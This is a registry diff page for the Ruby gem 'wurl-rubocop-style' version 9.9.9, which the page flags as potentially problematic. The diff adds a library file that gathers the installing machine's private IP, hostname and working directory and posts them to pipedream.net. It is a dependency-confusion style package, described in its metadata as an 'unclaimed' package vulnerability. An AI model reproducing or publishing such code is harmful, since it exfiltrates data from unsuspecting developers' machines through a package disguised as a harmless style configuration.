wurl-rubocop-style 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of wurl-rubocop-style might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/wurl-rubocop-style.rb +29 -0
- metadata +43 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 5d1fcf409b51b6688a506ecc60a71cd4e15957a66b3b3fb78743912530a4e748
|
|
4
|
+
data.tar.gz: 52690e74c8c0e4ed5430a2618a434e861c666421c1509b227773373c87d3e548
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: e03c39cd2db2ef0cf32068a52aa47ac36b6b478be551a9ab9eb9546b8d745f5154303df3a0a77d38c109fdf9ab57e5dd96885081921658221fa3dce69b7aac90
|
|
7
|
+
data.tar.gz: d4409fd9218f506518870c6f79ba486e4bb75a985809bf637d1ff94ae2a719fdf4cc2c42b341f040d07d0f35795cc011cb85c713351ce76f7bf3856c290df72e
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
module wurl-rubocop-style
|
|
2
|
+
|
|
3
|
+
require 'json'
|
|
4
|
+
require 'net/http'
|
|
5
|
+
require 'socket'
|
|
6
|
+
|
|
7
|
+
#Private IP
|
|
8
|
+
privip = UDPSocket.open {|s| s.connect("127.0.0.1", 1); s.addr.last}
|
|
9
|
+
#Hostname
|
|
10
|
+
hostname = Socket.gethostname
|
|
11
|
+
#Current directory
|
|
12
|
+
dir = Dir.pwd
|
|
13
|
+
|
|
14
|
+
#Pubcli bin url:- https://pipedream.com OR burpCollaborate url
|
|
15
|
+
uri = URI('https://pipedream.net')
|
|
16
|
+
req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
|
|
17
|
+
|
|
18
|
+
req.body = {
|
|
19
|
+
private_ip: privip,
|
|
20
|
+
hostname: hostname,
|
|
21
|
+
current_directory: dir
|
|
22
|
+
}.to_json
|
|
23
|
+
|
|
24
|
+
Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
|
|
25
|
+
http.request(req)
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
end
|
|
29
|
+
|
metadata
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: wurl-rubocop-style
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 9.9.9
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- heydi
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2024-06-16 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description: Unclaimed wurl GEM package vulnerability
|
|
14
|
+
email: heydi_lovini@gmail.com>
|
|
15
|
+
executables: []
|
|
16
|
+
extensions: []
|
|
17
|
+
extra_rdoc_files: []
|
|
18
|
+
files:
|
|
19
|
+
- lib/wurl-rubocop-style.rb
|
|
20
|
+
homepage: https://rubygems.org/gems/wurl-rubocop-style
|
|
21
|
+
licenses:
|
|
22
|
+
- MIT
|
|
23
|
+
metadata: {}
|
|
24
|
+
post_install_message:
|
|
25
|
+
rdoc_options: []
|
|
26
|
+
require_paths:
|
|
27
|
+
- lib
|
|
28
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
29
|
+
requirements:
|
|
30
|
+
- - ">="
|
|
31
|
+
- !ruby/object:Gem::Version
|
|
32
|
+
version: '0'
|
|
33
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
34
|
+
requirements:
|
|
35
|
+
- - ">="
|
|
36
|
+
- !ruby/object:Gem::Version
|
|
37
|
+
version: '0'
|
|
38
|
+
requirements: []
|
|
39
|
+
rubygems_version: 3.0.3.1
|
|
40
|
+
signing_key:
|
|
41
|
+
specification_version: 4
|
|
42
|
+
summary: Unclaimed wurl GEM package vulnerability
|
|
43
|
+
test_files: []
|